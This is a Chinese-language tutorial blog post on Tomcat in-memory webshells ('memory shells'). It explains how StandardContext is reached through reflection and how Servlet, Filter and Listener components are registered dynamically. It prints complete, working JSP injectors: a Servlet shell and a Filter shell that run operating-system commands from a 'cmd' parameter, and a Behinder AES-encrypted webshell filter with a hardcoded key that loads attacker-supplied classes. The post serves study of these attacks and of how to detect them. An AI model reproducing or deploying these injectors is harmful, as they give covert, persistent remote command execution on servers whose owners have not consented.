前言
内存马主要分为以下几类:
- servlet-api类
- filter型
- servlet型
- spring类
- 拦截器
- controller型
- Java Instrumentation类
- agent型
我们这里作为初学内存马萌新,只讨论servlet-api类型的内存马。
Q:内存马是什么?
A:对于servlet-api类其实就是恶意的 Fileter、Servlet、Listen之类的web组件。
Q:怎么把内存马给注入进目标服务器?
A:JSP文件(jsp 的本质就是 servlet,在访问时tomcat会将.jsp文件翻译成一个Servlet)、命令执行javaagent、反序列化注入。下面我们的代码测试样例都是用JSP来注入的。
Servlet 3.0 API 允许使 ServletContext 用动态进行注册,在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add/create 方法来实现动态注册的功能。**
而在tomcat中,我们用到的是standardContext这个对象去注册我们的Servlet、Filtet、Listen等组件。
这也是tomcat内存马的核心API。
参考链接
achuna33/Memoryshell-JavaALL: 收集内存马打入方式 (github.com)
JavaWeb 内存马一周目通关攻略 | 素十八 (su18.org)
Tomcat 内存马学习(二):结合反序列化注入内存马 – 天下大木头 (wjlshare.com)
http://moonflower.fun/index.php/2022/02/21/277/
Tomcat内存马学习 - bmth (bmth666.cn)
Tomcat Filter内存马实现 | T1melo0per’blog
Tomcat基础
Tomcat Filter内存马实现 | T1melo0per’blog
每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

Servlet类型内存马
这种类型的内存马很简单,就是动态创建一个Servlet即可,具体原理也不复杂。
但这种使用新增servlet的方式就需要绑定指定的URL。因此如果我们想要更加隐蔽,做到内存马与URL无关就得通过注入新的或修改已有的filter或者listener的方式来实现了
实现例子
这里我们先别管原理,先试试我们怎么去注册一个内存马,然后试试效果。这里我演示的是动态创建一个Servlet内存马。
具体流程就是创建一个恶意的Servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定
这里我们使用JSP来注入。如下,只要在目标web访问该JSP就会注册一个内存马,其映射地址为shell,对应的Servlet名为aaaa。
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class ServletShell extends HttpServlet {
private String message;
@Override
public void init() {
message = "Hello World!";
}
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String cmd = request.getParameter("cmd");
if(cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String result = scanner.hasNext() ? scanner.next() : "";
out.println(result);
}
}
@Override
public void destroy() {
}
}
ServletShell servletShell = new ServletShell();
%>
<%
PrintWriter printWriter = response.getWriter();
String name ="aaaa";
ServletContext servletContext = request.getServletContext();
//查看是否存在名为aaaa的servlet
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servletShell);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
printWriter.println("servlet added");
}
%>

流程分析
前面我们很简单的就完成了一个内存马的注入。但实际上我们还是需要跟一下它的流程的。
其中大概流程就是:
①创建一个恶意Servlet
②通过Servlet 3.0 API 中的add*/create*放到进行动态注册。
而我们恶意Servlet的创建我们就不多介绍了,没上面难度。主要是讲怎么动态注册这个Servlet。
StandardContext对象获取
(5条消息) ServletContext(源码分析)_以码平川的博客-CSDN博客_servletcontext 源码
Java内存马:一种Tomcat全版本获取StandardContext的新方法 - bitterz | CN-SEC 中文网
恶意Servlet的创建就不用多说了,没什么难度和疑难点。
Q:在用之前,先了解StandardContext是什么,为什么要获取它。
A:从前面Tomcat的架构我们得知:
一方面我们针对的其实是当前的Context进行内存马注入,所以我们就需要获取到当前的context,而这个context其实就是StandardContext。
另一方面ServletContext虽然提供了动态注册的api但它只是一个接口,而在tomcat中createServlet和addServlet的具体实现都是由StandardContext这个对象完成的。
简单的跟下代码

我们这里跟下ApplicationContext这个实现类的addServlet方法,可以看到,这下面最终还是在调用StandContext里面的方法。ApplicationContext只不过是对StandContext的封装。

Q:standardContext对象在哪?
A
,其中standardContext就存在apllication(ServletContext) 对象中。但ServletContext只是一个接口,具体的实现还要看具体的容器是怎么实现的,
而在Tomcat中就是在ApplicationContext类当中。

Q
A:上一个QA中提了,standardContext在ServletContext对象中,那我们从这个对象中把它提取出来即可。我们先贴出获取代码,再进行分析。
从代码中我们可以看到,第一步是获取ServletContext对象,随后就是通过while来循环获取StandContext对象。

至于为什么这么做,我们简单的跟下代码就懂了。
我们第一步获取到的其实是一个ApplicationContextFacade对象,这个对象的context属性是ApplicationContext的实例,而ApplicationContext对象的context属性才是我们的目标standardContext对象。

也就是说,我们从ServletContext到standardContext的流程如下:
ServletContext接口->ApplicationContextFacade实现类->ApplicationContext实现类->standardContext对象。
动态注册Servlet内存马
这里就是怎么将我们的恶意servlet内存马给注册到内存中了。其实就是调用StandardContext对象的某些方法即可。这里我们在前面StandardContext对象第一个QA中就提到过,至于为什么我们不直接用ServletContext的add接口是因为ServletContext添加servlet只能在在 Web 容器初始化的时候(即建立ServletContext 对象的时候)进行动态注册。直接用的话是无法注册的,如图:

因此我们只能直接用StandardContext这个底层对象去动态注册我们的Servlet。
后面的就不做详细分析,这里简单讲讲就行:根据前面的tomcat架构,StandardContext对象下面的是Wrapper对象,因此这里需要把先把恶意的Servlet封装成wrapper再添加到StandardContext的children当中才完成注册了一个Servlet。
从ApplicationContext的addServlet方法把核心内容提取出来就得到如下注册的代码:

将注册成功的Servlet进行URL映射
这里前面只是完成了Servlet的注册,但想要访问还需要进行URL绑定映射,
因此最后需要通过ServletMapping将访问的URL和wrapper进行绑定即可。

Filter类型内存马
https://t1melo0per.github.io/2022/04/27/memshell-filter/
http://wjlshare.com/archives/1529
https://su18.org/post/memory-shell/#filter-%E5%86%85%E5%AD%98%E9%A9%AC

可以看到Filter的作用其实就是拦截请求,过滤响应。它在Servlet之前生效。
因此我们内存马的另一种思路就是新增一个恶意的Filter,将其放在Filter链的最开头,这样我们就可以在不新增Servlet的情况下,注入了一个内存马,从而更加隐蔽。
我们下面分析流程还是和Servlet差不多,从创建Filter到注册到绑定。
实现恶意Filter
首先,我们先去实现一个恶意的Filter,这里其实直接把我们的恶意Servlet的代码搬过来就完事了。

最终我们实现的效果就是带上参数cmd才会进入到命令执行逻辑,否则就跳转到正常页面。

动态注册Filter
接着我们就看看怎么动态注册Filter并且把我们的恶意Filter给排到Filter链的最前了。
我们老样子,跟下流程,直接来到ApplicationContext的addFilter方法。
其中的核心代码就是这块。大致流程就是利用 FilterDef 对 Filter 进行一个封装,然后filtrDef进行一些属性的赋值(Filter名,Filter的Class等等)。

因此我们提取出来,就得到如下动态注册Filter的代码。

分析如何绑定Filter到chain的最开头并让其生效
上面我们也只是实现了Filter的注册而已,实际上我们并没有把这个Filter给用起来。并且我们对怎么把这个Filtet放到Chain的最开头也不清楚。
因此我们想要知道怎么去操作就得分析下正常Filter的调用流程。
根据tomcat的流程和我们前面的分析,可以得知Tomcat的web启动后在初始化Context的时候会调用StandardContext来实现部分功能,所以Filter的初始化应该也是在这个类中完成。这里我们发现一个filterStart方法,所以我们就从这个方法入手上断点开始追踪。

我们直接上断点分析,可以看到大概流程
这里应该是先执行了addfilter等到所有的filter都被封装成filterDef并存储到filterDefs后才到filterStart这个方法(逻辑上也应该如此),而在这个方法当中,我们可以看到,它把filterDef重新提取了出来了,对其再进行了一层封装,然后又如法炮制塞到了filterConfigs当中。

因此这里我们可以得知只要将Filter封装成FilterDef,再向上封装成FilterConfig,放入StandardContext对象的FilterConfigs就能够动态注册并启动我们的filter。
但问题来了,url绑定在哪呢??这里已经是最后的一步了,所以我觉得URL配置肯定就在这个filterConfig对象里面,我们查看它的结构
最终在filterConfig.context.filterMaps中找到了url配置。

接着我们就需要找这个值是怎么赋予给filterConfig的,本来是需要跟进这个ApplicationFilterConfig的,但我发现这里的参数this就是context,所以没必要跟进了(这层封装就只是简单的把standardContext和filterDef给粘合到一块而已)。

其实到这里思路就很清晰了,我们只需要以下操作即可:
①把我们的恶意Filter封装成FilterDef,动态注册成filter。(这一步上面已经完成了)
②为我们恶意Filter构造FilterMap(这一步就是urlpattern绑定)
③把FilterDef和FilterMap一块向上封装成FilterConfig(利用反射获取ApplicationFilterConfig对象,调用私有构造方法)
④最后put进StandardContext对象的FilterConfigs即可。(利用反射获取StandardContext对象的FilterConfigs属性,然后put进去)
但我们是不是还忘记了什么!没错,怎么把我们的这个Filter给放到FilterChain的最前面呢??
这里我们发现StandardContext有一个名为addFilterMapBefore的方法,也就是说调用这个方法就能够让我们的Filter放到最前。
查看里面的具体代码,不难看出大致就是把我们的filterMap给放到filterMaps这个数组的最前面。

而我们知道put进FilterConfigs其实就是启动Filter了。因此这一步肯定是在这之前完成的。因此我们最终整合步骤如下:
①把我们的恶意Filter封装成FilterDef,动态注册成filter。(这一步上面已经完成了)
②为我们恶意Filter构造FilterMap(这一步就是urlpattern绑定)
③调用StandardContext的addFilterMapBefore方法,把我们的FilterMap给放到FilterMaps最前面。
④把FilterDef和FilterMap一块向上封装成FilterConfig,
⑤最后put进StandardContext对象的FilterConfigs即可。(利用反射获取StandardContext对象的FilterConfigs属性,然后put进去)
为恶意Filter构造FilterMap
在这之前,先看看我们的目标FilterMaps需要什么属性。
这里我们可以看到,比较关键的是这个filterName和URLPatterns还有dispatcherMapping(其他参数在FilterMap类中都是默认值或者说是私有属性,并且没有相应的方法能操控)

然后需要了解怎么去构造,就需要进入到FilterMap这个类查看它的方法和属性,分析它是怎么封装的。我们关注的三个属性虽然是私有属性,但幸好我们有对应的方法能操控,不然只能上反射了。

其中需要提一下的只有dispatcherMapping这个属性的赋值方法setDispatcher。
在之前我们需要先了解dispatcher是什么,看下面,其实不难理解,就是这个请求是怎么来的?内部请求还是用户真实的请求,也就是说我们的过滤器不只是可以url的作用范围,还能设置请求方式(注意:不是http方法)的范围。

可以看到,这个方法其实就是设置我们的dispatcher是什么类型的,我们自然是要REQUEST类型的。
而我们简单看下方法,很明显了只要让参数等于DispatcherType.REQUEST.name()就实现我们的目的了。(虽然上图中说默认情况下它的值是REAUEST,但在代码中它初始值是NOT_SET)


尝试一下进行封装,差不多就是这样。

使用addFilterMapBefore把我们的链放到最前
紧接着就是把我们的这个filter放到代理链的最前了,我们再看看这个方法
一共就三行代码,第一行是验证我们的FilterMap的,第二行则是把它加到filterMaps中,最后一个是
去通知所有容器事件侦听器此容器发生了添加FilterMap事件。

其实没什么好提取的,我们直接调用就行了。
把FilterDef和FilterMap一块向上封装成FilterConfig
这里封装本来想直接调用ApplicationFilterConfig类,但很可惜,这个类不是public类,因此我们只能通过反射来获取它,再调用它的私有构造器了。


最后put进StandardContext对象的FilterConfigs即可
最后,我们只差一步,这里只需要拿到StandardContext的filterConfigs对象,然后put我们的filterconfig进去即可。
同样的需要用反射来完成。

最终代码
然后我们把上面各个部分进行整合,再优化一下就得到如下内存马:
我们这里提前获取FilterConfigs,用于判断Filter名字有没有冲突。
<%--
Created by IntelliJ IDEA.
User: momo
Date: 2022/11/14
Time: 13:12
To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class EvilFilter implements Filter {
@Override
public void init(FilterConfig config) throws ServletException {
}
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String cmd = request.getParameter("cmd");
if(cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String result = scanner.hasNext() ? scanner.next() : "";
out.println(result);
return;
}
chain.doFilter(request, response);
}
}
EvilFilter evilFilter = new EvilFilter();
%>
<%
String name ="evilFilter2";
PrintWriter printWriter = response.getWriter();
//获取ServletContext对象(得到的其实是ApplicationContextFacade对象)
ServletContext servletContext = request.getServletContext();
StandardContext standardContext = null;
//从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext对象
while (standardContext == null) {
//因为是StandardContext对象是私有属性,所以需要用反射去获取
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
}
}
//通过反射获取StandardContext对象的filterConfigs属性
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
if (filterConfigs.get(name) == null){
//将evilFilter封装成FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
//动态注册Filter
standardContext.addFilterDef(filterDef);
//为恶意Filter构造FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将我们的filterMap放到最前
standardContext.addFilterMapBefore(filterMap);
//通过反射调用ApplicationFilterConfig将filterDef和FilterMap向上一块封装成FilterConfig
Constructor filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
filterConfigConstructor.setAccessible(true);
FilterConfig filterConfig =(FilterConfig) filterConfigConstructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
printWriter.println("inject success");
}else {
printWriter.println("wrong,web was have "+name+" filter,pleas change a name");
}
%>
最终效果如下:


Listen类型内存马
https://www.cnblogs.com/yyhuni/p/15512792.html#servletrequestlistener%E6%8E%A5%E5%8F%A3
https://www.cnblogs.com/zpchcbd/p/15154256.html
Tomcat容器攻防笔记之Listener内存马-安全客 - 安全资讯平台 (anquanke.com)
Tomcat Listener 型内存马流程理解与手写 EXP - 腾讯云开发者社区-腾讯云 (tencent.com)
和Filter一样,Listen也是能够用来做内存马的。
大概流程如下:
①新建一个继承ServletRequestLisner接口的监听器并在requestInitialized方法中实现我们想要的任意功能(实现恶意Filter)
②将该实例添加到StandardContext的ApplicationEventListeners变量。(相当于注册恶意Filter)
实现恶意Liesten
老样子,我们需要先实现一个恶意的LIsten,而Listen有很多实现类,我们查看全部Listen,选一个比较适合我们的,因为我们要找的是一个Tomcat解析了请求后但仍未响应的中间环节的Listen,所以我们理所当然就用这个ServletRequestListener 。

这里比较麻烦的是怎么获取我们的输出,大概就是通过反射去获取当前这个requests,然后通过这个requests的getResponse方法来得到输出结果。具体原理看链接
https://www.anquanke.com/post/id/226769
这里主要是因为ServletRequest只是个接口,而且不含getResponse,所以我们不能在代码中直接这么写。
而当在真正的tomcat请求中,这个request就会封装成ServletRequest接口的实现类RequestFacade,然后就存在着getResponse方法,从而能输出结果。


注册Listen
接着我们就需要考虑怎么去注册Listen。老样子还是去看StandardContext对象,我们查看和listen有关的方法。其中我们不关注Lifecycle Listen,因为它们多用于Tomcat初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,随心所欲根据我们的输入执行命令。

根据正常流程,tomcat想要调用一个listen,肯定是先去寻找listen,所以我们先到findApplicationLisetners打个断点看看情况,最终我们找到了它的上层调用listenerStart。

随后我们分析它干了什么,感觉这里是把我们的listen给放到了一个数组,然后调用设置监听器的方法,那是不是如果我们把新增的监听器给放进去就能注册成功并启用了?

再向上推一下,这个getApplicationEventListeners其实就是去读StandContext的applicationEventListenersList属性而已,虽然这个属性是私有属性,但没关系,我们很快的就发现,存在一个方法直接添加。所以很明朗了,直接调用这个方法把我们的恶意Listen加进去就能成功注册listen内存马。

我们尝试一下~大成功。


拿个冰蝎webshell做做测试
既然是内存马,那自然的,就要是webshell,只是执行命令不满足我们的要求。
其实就是让我们的恶意Filter、Servlet、Listen执行我们的webshell代码而已。下面我注册的是一个Filter类型的。
注入冰蝎内存马实现 | 藏青’s BLOG (cangqingzhe.github.io)
https://www.cnblogs.com/zpchcbd/p/16547770.html
https://xz.aliyun.com/t/10696#toc-4
具体原理我就不细究了,这里我只简单的提一下,直接用肯定是不行的。因为默认的是jsp马,而在jsp中是存在很多默认的变量的。如下图,原本的jspshell中它这个pageContext没有定义,因为这是jsp的默认上下文,但如果我们注册在内存中,就不是jsp了,自然没有这个上下文,导致报错。因此如果想要注册成功我们就得需要去获取上下文。同样的其实还有request这个变量。总之,现在我们的目标是怎么获取request和pageContext。

在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以把pageContext对象换成一个Map,手动添加这三个对象即可
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
因此我们的目标变成了怎么去获取request、response和session。
Filter中默认参数是ServletRequest接口,没有获取session的方法,所以需要对其进行强转,再获取。随后再构造pageContext就完事了。
代码如下

最终代码如下
,我这里做了个特定要求,只有存在参数cmd=ccc的时候才执行我们的webshell逻辑。<%@ page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="java.security.InvalidKeyException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class EvilFilter implements Filter {
@Override
public void init(FilterConfig config) throws ServletException {
}
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if ("ccc".equals(request.getParameter("cmd"))) {
//给它做个类型强转,以便获取session
HttpServletRequest req = (HttpServletRequest) request;
HttpSession session = req.getSession();
//塞进pageContext就完事了
HashMap pageContext = new HashMap();
pageContext.put("request",req);
pageContext.put("response",response);
pageContext.put("session",session);
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return
super.defineClass(b, 0, b.length);
}
}
if (true) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
String k = "e45e329feb5d925b";
Cipher c = null;
try {
c = Cipher.getInstance("AES/ECB/PKCS5Padding");
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (NoSuchPaddingException e) {
e.printStackTrace();
}
try {
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
} catch (InvalidKeyException e) {
e.printStackTrace();
}
byte[] decodebs = new byte[0];
Class baseCls = null;
try {
baseCls = Class.forName("java.util.Base64");
Object Decoder = baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()});
} catch (Throwable e) {
System.out.println("444444");
try {
baseCls = Class.forName("sun.misc.BASE64Decoder");
} catch (ClassNotFoundException classNotFoundException) {
classNotFoundException.printStackTrace();
}
Object Decoder = null;
try {
Decoder = baseCls.newInstance();
} catch (InstantiationException instantiationException) {
instantiationException.printStackTrace();
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
}
try {
decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())});
} catch (IllegalAccessException illegalAccessException) {
illegalAccessException.printStackTrace();
} catch (InvocationTargetException invocationTargetException) {
invocationTargetException.printStackTrace();
} catch (NoSuchMethodException noSuchMethodException) {
noSuchMethodException.printStackTrace();
}
}
byte[] kaaa = new byte[0];
try {
kaaa = c.doFinal(decodebs);
} catch (IllegalBlockSizeException e) {
e.printStackTrace();
} catch (BadPaddingException e) {
e.printStackTrace();
}
try {
new U(this.getClass().getClassLoader()).g(kaaa).newInstance().equals(pageContext);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
chain.doFilter(request, response);
}
}
EvilFilter evilFilter = new EvilFilter();
%>
<%
String name ="evilFilter2";
PrintWriter printWriter = response.getWriter();
//获取ServletContext对象(得到的其实是ApplicationContextFacade对象)
ServletContext servletContext = request.getServletContext();
StandardContext standardContext = null;
//从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext对象
while (standardContext == null) {
//因为是StandardContext对象是私有属性,所以需要用反射去获取
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
standardContext = (StandardContext) object;
}
}
//通过反射获取StandardContext对象的filterConfigs属性
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigs = (HashMap) filterConfigsField.get(standardContext);
if (filterConfigs.get(name) == null){
//将evilFilter封装成FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
//动态注册Filter
standardContext.addFilterDef(filterDef);
//为恶意Filter构造FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将我们的filterMap放到最前
standardContext.addFilterMapBefore(filterMap);
//通过反射调用ApplicationFilterConfig将filterDef和FilterMap向上一块封装成FilterConfig
Constructor filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
filterConfigConstructor.setAccessible(true);
FilterConfig filterConfig =(FilterConfig) filterConfigConstructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
printWriter.println("inject success");
}else {
printWriter.println("wrong,web was have "+name+" filter,pleas change a name");
}
%>